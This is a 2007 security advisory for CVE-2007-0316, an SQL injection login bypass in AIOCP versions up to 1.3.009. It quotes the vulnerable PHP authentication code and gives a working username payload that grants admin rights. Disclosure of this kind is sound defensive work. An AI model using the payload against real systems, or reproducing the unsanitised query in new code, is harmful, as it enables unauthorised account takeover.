Bug: AIOCP Login Bypass Vulnerability ( Ascii Version )

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AIOCP Login Bypass Vulnerability

Published
Credit
Risk
2007.01.22
Coloss
Medium
CWE
CVE
Local
Remote
N/A
CVE-2007-0316
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: coloss7 (at) gmail (dot) com [email concealed]
[i] Date: 9.1.2007

[i] Spec: AIOCP doesn't check the username posted by the client before using this to check authentication, so SQL
Injection is possible
Example shows how to bypass login
[i] Other infos: This works with magic_quotes_gpc = Off
[i] Workaround: Edit source code to properly check username
No official patch is yet available

[Analysis]

[Unique Step] File: AIOCP/shared/code/cp_authorization.php

90 if ((isset($_POST['logaction'])) AND ($_POST['logaction'] == "login")) {
91 $xuser_password = md5($_POST['xuser_password']); // one-way password encoding
92 // check if submitted login information are correct
93 $sql = "SELECT * FROM ".K_TABLE_USERS." WHERE
user_name='".$_POST['xuser_name']."' AND user_password='".$xuser_password."'";
94 if($r = F_aiocpdb_query($sql, $db)) {
95 if($m = F_aiocpdb_fetch_array($r)) {
96 // sets some user's session data
97 $_SESSION['session_user_id'] = $m['user_id'];
98 $_SESSION['session_user_name'] = $m['user_name'];
99 $_SESSION['session_user_ip'] = $_SERVER['REMOTE_ADDR'];
100 $_SESSION['session_user_level'] = $m['user_level'];
101 $_SESSION['session_user_language'] = $m['user_language'];
102 $_SESSION['session_alt_menu'] = 0; //default alternative menu disabled
103 // read client cookie
104 if(isset($_COOKIE['LastVisit'])) {
105 $_SESSION['session_last_visit'] = $_COOKIE['LastVisit'];
106 }
107 else {
108 $_SESSION['session_last_visit'] = 0;
109 }
110 $logged=TRUE;
111 }
112 else {
113 F_print_error("WARNING", $l['m_login_wrong']);
114 }
115 }
116 else {
117 F_display_db_error();
118 }
119 }

Parameters username and password are posted by the user on any login form. Password is crypted with md5() so it
cannot be used to perform any attack. Otherwise username isn't checked before the SQL query is performed.

[POC]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: [sql]
Password: <any password>

[Exploit example]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name='
Password: <any password>

So you 'll get admin rights. (you 'll get rights of user with id = 2, usually admin)

Note: You have to substitute user_id = '<user_id>' with some existing user_id.. usually 2 is admin user id

See this note in TXT Version

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